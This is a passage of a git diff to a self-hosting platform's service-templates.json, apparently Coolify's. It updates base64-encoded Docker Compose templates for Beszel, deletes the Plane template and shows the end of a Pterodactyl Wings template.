YXIvbGliL2RvY2tlci9jb250YWluZXJzLycKICAgICAgLSAnL3Zhci9saWIvcHRlcm9kYWN0eWwvOi92YXIvbGliL3B0ZXJvZGFjdHlsLycKICAgICAgLSAnL3RtcC9wdGVyb2RhY3R5bC86L3RtcC9wdGVyb2RhY3R5bC8nCiAgICAgIC0gJ3dpbmdzLWxvZ3M6L3Zhci9sb2cvcHRlcm9kYWN0eWwvJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9ldGMvY29uZmlnLnltbAogICAgICAgIHRhcmdldDogL2V0Yy9wdGVyb2RhY3R5bC9jb25maWcueW1sCiAgICAgICAgY29udGVudDogImRlYnVnOiBmYWxzZVxudXVpZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjOWFiYzgtYWJjNy1hYmM2LWFiYzUtYWJjNGFiYzNhYmMyXG50b2tlbl9pZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjMWFiYzJhYmMzYWJjNFxudG9rZW46IFJFUExBQ0UgRlJPTSBDT05GSUcgICNleGFtcGxlOiBhYmMxYWJjMmFiYzNhYmM0YWJjNWFiYzZhYmM3YWJjOGFiYzlhYmMxMGFiYzExYWJjMTJhYmMxM2FiYzE0YWJjMTVhYmMxNlxuYXBpOlxuICBob3N0OiAwLjAuMC4wXG4gIHBvcnQ6IDg0NDMgIyB1c2UgcG9ydCA0NDMgSU4gVEhFIFBBTkVMIGR1cmluZyBub2RlIHNldHVwXG4gIHNzbDpcbiAgICBlbmFibGVkOiBmYWxzZVxuICAgIGNlcnQ6IFJFUExBQ0UgRlJPTSBDT05GSUcgI2V4YW1wbGU6IC9ldGMvbGV0c2VuY3J5cHQvbGl2ZS93aW5ncy1hYmNhYmNhYmNhYmNhYmMuZXhhbXBsZS5jb20vZnVsbGNoYWluLnBlbVxuICAgIGtleTogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogL2V0Yy9sZXRzZW5jcnlwdC9saXZlL3dpbmdzLWFiY2FiY2FiY2FiY2FiYy5leGFtcGxlLmNvbS9wcml2a2V5LnBlbVxuICBkaXNhYmxlX3JlbW90ZV9kb3dubG9hZDogZmFsc2VcbiAgdXBsb2FkX2xpbWl0OiAxMDBcbiAgdHJ1c3RlZF9wcm94aWVzOiBbXVxuc3lzdGVtOlxuICByb290X2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWxcbiAgbG9nX2RpcmVjdG9yeTogL3Zhci9sb2cvcHRlcm9kYWN0eWxcbiAgZGF0YTogL3Zhci9saWIvcHRlcm9kYWN0eWwvdm9sdW1lc1xuICBhcmNoaXZlX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYXJjaGl2ZXNcbiAgYmFja3VwX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYmFja3Vwc1xuICB0bXBfZGlyZWN0b3J5OiAvdG1wL3B0ZXJvZGFjdHlsXG4gIHVzZXJuYW1lOiBwdGVyb2RhY3R5bFxuICB0aW1lem9uZTogVVRDXG4gIHVzZXI6XG4gICAgcm9vdGxlc3M6XG4gICAgICBlbmFibGVkOiBmYWxzZVxuICAgICAgY29udGFpbmVyX3VpZDogMFxuICAgICAgY29udGFpbmVyX2dpZDogMFxuICAgIHVpZDogOTg4XG4gICAgZ2lkOiA5ODhcbiAgZGlza19jaGVja19pbnRlcnZhbDogMTUwXG4gIGFjdGl2aXR5X3NlbmRfaW50ZXJ2YWw6IDYwXG4gIGFjdGl2aXR5X3NlbmRfY291bnQ6IDEwMFxuICBjaGVja19wZXJtaXNzaW9uc19vbl9ib290OiB0cnVlXG4gIGVuYWJsZV9sb2dfcm90YXRlOiB0cnVlXG4gIHdlYnNvY2tldF9sb2dfY291bnQ6IDE1MFxuICBzZnRwOlxuICAgIGJpbmRfYWRkcmVzczogMC4wLjAuMFxuICAgIGJpbmRfcG9ydDogMjAyMlxuICAgIHJlYWRfb25seTogZmFsc2VcbiAgY3Jhc2hfZGV0ZWN0aW9uOlxuICAgIGVuYWJsZWQ6IHRydWVcbiAgICBkZXRlY3RfY2xlYW5fZXhpdF9hc19jcmFzaDogdHJ1ZVxuICAgIHRpbWVvdXQ6IDYwXG4gIGJhY2t1cHM6XG4gICAgd3JpdGVfbGltaXQ6IDBcbiAgICBjb21wcmVzc2lvbl9sZXZlbDogYmVzdF9zcGVlZFxuICB0cmFuc2ZlcnM6XG4gICAgZG93bmxvYWRfbGltaXQ6IDBcbiAgb3BlbmF0X21vZGU6IGF1dG9cbmRvY2tlcjpcbiAgbmV0d29yazpcbiAgICBpbnRlcmZhY2U6IDE3Mi4yOC4wLjFcbiAgICBkbnM6XG4gICAgICAtIDEuMS4xLjFcbiAgICAgIC0gMS4wLjAuMVxuICAgIG5hbWU6IHB0ZXJvZGFjdHlsX253XG4gICAgaXNwbjogZmFsc2VcbiAgICBkcml2ZXI6IGJyaWRnZVxuICAgIG5ldHdvcmtfbW9kZTogcHRlcm9kYWN0eWxfbndcbiAgICBpc19pbnRlcm5hbDogZmFsc2VcbiAgICBlbmFibGVfaWNjOiB0cnVlXG4gICAgbmV0d29ya19tdHU6IDE1MDBcbiAgICBpbnRlcmZhY2VzOlxuICAgICAgdjQ6XG4gICAgICAgIHN1Ym5ldDogMTcyLjI4LjAuMC8xNlxuICAgICAgICBnYXRld2F5OiAxNzIuMjguMC4xXG4gICAgICB2NjpcbiAgICAgICAgc3VibmV0OiBmZGJhOjE3Yzg6NmM5NDo6LzY0XG4gICAgICAgIGdhdGV3YXk6IGZkYmE6MTdjODo2Yzk0OjoxMDExXG4gIGRvbWFpbm5hbWU6IFwiXCJcbiAgcmVnaXN0cmllczoge31cbiAgdG1wZnNfc2l6ZTogMTAwXG4gIGNvbnRhaW5lcl9waWRfbGltaXQ6IDUxMlxuICBpbnN0YWxsZXJfbGltaXRzOlxuICAgIG1lbW9yeTogMTAyNFxuICAgIGNwdTogMTAwXG4gIG92ZXJoZWFkOlxuICAgIG92ZXJyaWRlOiBmYWxzZVxuICAgIGRlZmF1bHRfbXVsdGlwbGllcjogMS4wNVxuICAgIG11bHRpcGxpZXJzOiB7fVxuICB1c2VfcGVyZm9ybWFudF9pbnNwZWN0OiB0cnVlXG4gIHVzZXJuc19tb2RlOiBcIlwiXG4gIGxvZ19jb25maWc6XG4gICAgdHlwZTogbG9jYWxcbiAgICBjb25maWc6XG4gICAgICBjb21wcmVzczogXCJmYWxzZVwiXG4gICAgICBtYXgtZmlsZTogXCIxXCJcbiAgICAgIG1heC1zaXplOiA1bVxuICAgICAgbW9kZTogbm9uLWJsb2NraW5nXG50aHJvdHRsZXM6XG4gIGVuYWJsZWQ6IHRydWVcbiAgbGluZXM6IDIwMDBcbiAgbGluZV9yZXNldF9pbnRlcnZhbDogMTAwXG5yZW1vdGU6IGh0dHA6Ly9wdGVyb2RhY3R5bDo4MFxucmVtb3RlX3F1ZXJ5OlxuICB0aW1lb3V0OiAzMFxuICBib290X3NlcnZlcnNfcGVyX3BhZ2U6IDUwXG5hbGxvd2VkX21vdW50czogW11cbmFsbG93ZWRfb3JpZ2luczpcbiAgLSBodHRwOi8vcHRlcm9kYWN0eWw6ODBcbiAgLSBQQU5FTCBET01BSU4gIyBleGFtcGxlOiBodHRwczovL3B0ZXJvZGFjdHlsLWFiY2FiY2FiY2FiY2F2Yy5leGFtcGxlLmNvbVxuYWxsb3dfY29yc19wcml2YXRlX25ldHdvcms6IGZhbHNlXG5pZ25vcmVfcGFuZWxfY29uZmlnX3VwZGF0ZXM6IGZhbHNlIgo=",
- "tags": [
- "game",
- "game server",
- "management",
- "panel",
- "minecraft"
- ],
- "category": "media",
- "logo": "svgs/pterodactyl.png",
- "minversion": "0.0.0",
- "port": "80, 8443"
- },
"qbittorrent": {
"documentation": "https://docs.linuxserver.io/images/docker-qbittorrent/?utm_source=coolify.io",
"slogan": "The qBittorrent project aims to provide an open-source software alternative to \u03bcTorrent.",
diff --git a/templates/service-templates.json b/templates/service-templates.json
index 88eddd10b..580834a21 100644
--- a/templates/service-templates.json
+++ b/templates/service-templates.json
@@ -254,7 +254,7 @@
"beszel-agent": {
"documentation": "https://www.beszel.dev/guide/agent-installation?utm_source=coolify.io",
"slogan": "Monitoring agent for Beszel",
- "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSAnSFVCX1VSTD0ke0hVQl9VUkw/fScKICAgICAgLSAnVE9LRU49JHtUT0tFTj99JwogICAgICAtICdLRVk9JHtLRVk/fScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==",
+ "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjQnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfRlFETl9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=",
"tags": [
"beszel",
"monitoring",
@@ -269,7 +269,7 @@
"beszel": {
"documentation": "https://github.com/henrygd/beszel?tab=readme-ov-file#getting-started?utm_source=coolify.io",
"slogan": "A lightweight server resource monitoring hub with historical data, docker stats, and alerts.",
- "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQkVTWkVMXzgwOTAKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9kYXRhOi9iZXN6ZWxfZGF0YScKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICBiZXN6ZWwtYWdlbnQ6CiAgICBpbWFnZTogJ2hlbnJ5Z2QvYmVzemVsLWFnZW50OjAuMTYuMScKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtICdIVUJfVVJMPWh0dHA6Ly9iZXN6ZWw6ODA5MCcKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICB2b2x1bWVzOgogICAgICAtICdiZXN6ZWxfYWdlbnRfZGF0YTovdmFyL2xpYi9iZXN6ZWwtYWdlbnQnCiAgICAgIC0gJ2Jlc3plbF9zb2NrZXQ6L2Jlc3plbF9zb2NrZXQnCiAgICAgIC0gJy92YXIvcnVuL2RvY2tlci5zb2NrOi92YXIvcnVuL2RvY2tlci5zb2NrOnJvJwo=",
+ "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fQkVTWkVMXzgwOTAKICAgICAgLSAnQ09OVEFJTkVSX0RFVEFJTFM9JHtDT05UQUlORVJfREVUQUlMUzotdHJ1ZX0nCiAgICAgIC0gJ1NIQVJFX0FMTF9TWVNURU1TPSR7U0hBUkVfQUxMX1NZU1RFTVM6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9kYXRhOi9iZXN6ZWxfZGF0YScKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYmVzemVsCiAgICAgICAgLSBoZWFsdGgKICAgICAgICAtICctLXVybCcKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwOTAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBiZXN6ZWwtYWdlbnQ6CiAgICBpbWFnZTogJ2hlbnJ5Z2QvYmVzemVsLWFnZW50OjAuMTguNCcKICAgIG5ldHdvcmtfbW9kZTogaG9zdAogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVEVOPS9iZXN6ZWxfc29ja2V0L2Jlc3plbC5zb2NrCiAgICAgIC0gSFVCX1VSTD0kU0VSVklDRV9GUUROX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==",
"tags": [
"beszel",
"monitoring",
@@ -3658,27 +3658,6 @@
"minversion": "0.0.0",
"port": "80"
},
- "plane": {
- "documentation": "https://docs.plane.so/self-hosting/methods/docker-compose?utm_source=coolify.io",
- "slogan": "The open source project management tool",
- "compose": "eC1kYi1lbnY6CiAgUEdIT1NUOiBwbGFuZS1kYgogIFBHREFUQUJBU0U6IHBsYW5lCiAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogIFBPU1RHUkVTX0RCOiBwbGFuZQogIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQp4LXJlZGlzLWVudjoKICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99Jwp4LW1pbmlvLWVudjoKICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwp4LWF3cy1zMy1lbnY6CiAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9Jwp4LW1xLWVudjoKICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKeC1saXZlLWVudjoKICBBUElfQkFTRV9VUkw6ICcke0FQSV9CQVNFX1VSTDotaHR0cDovL2FwaTo4MDAwfScKeC1hcHAtZW52OgogIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogIERFQlVHOiAnJHtERUJVRzotMH0nCiAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCnNlcnZpY2VzOgogIHByb3h5OgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLXByb3h5OiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fUExBTkUKICAgICAgLSAnQVBQX0RPTUFJTj0ke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIC0gJ1NJVEVfQUREUkVTUz06ODAnCiAgICAgIC0gJ0ZJTEVfU0laRV9MSU1JVD0ke0ZJTEVfU0laRV9MSU1JVDotNTI0Mjg4MH0nCiAgICAgIC0gJ0JVQ0tFVF9OQU1FPSR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gd2ViCiAgICAgIC0gYXBpCiAgICAgIC0gc3BhY2UKICAgICAgLSBhZG1pbgogICAgICAtIGxpdmUKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdlYjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1mcm9udGVuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly9gaG9zdG5hbWVgOjMwMDAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBzcGFjZToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1zcGFjZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgICAgLSB3ZWIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgYWRtaW46CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYWRtaW46JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGxpdmU6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtbGl2ZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQSV9CQVNFX1VSTDogJyR7QVBJX0JBU0VfVVJMOi1odHRwOi8vYXBpOjgwMDB9JwogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdlYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGFwaToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1hcGkuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYXBpOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogICAgICBERUJVRzogJyR7REVCVUc6LTB9JwogICAgICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogICAgICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICAgICAgVVNFX01JTklPOiAnJHtVU0VfTUlOSU86LTF9JwogICAgICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICAgICAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgICAgIEFNUVBfVVJMOiAnYW1xcDovLyR7U0VSVklDRV9VU0VSX1JBQkJJVE1RfToke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVF9QHBsYW5lLW1xOiR7UkFCQklUTVFfUE9SVDotNTY3Mn0vcGxhbmUnCiAgICAgIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogICAgICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgICAgIFBHSE9TVDogcGxhbmUtZGIKICAgICAgUEdEQVRBQkFTRTogcGxhbmUKICAgICAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfREI6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICAgICAgUEdEQVRBOiAvdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICAgICAgQVdTX0FDQ0VTU19LRVlfSUQ6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgICAgIEFXU19TM19CVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gcGxhbmUtZGIKICAgICAgLSBwbGFuZS1yZWRpcwogICAgICAtIHBsYW5lLW1xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiA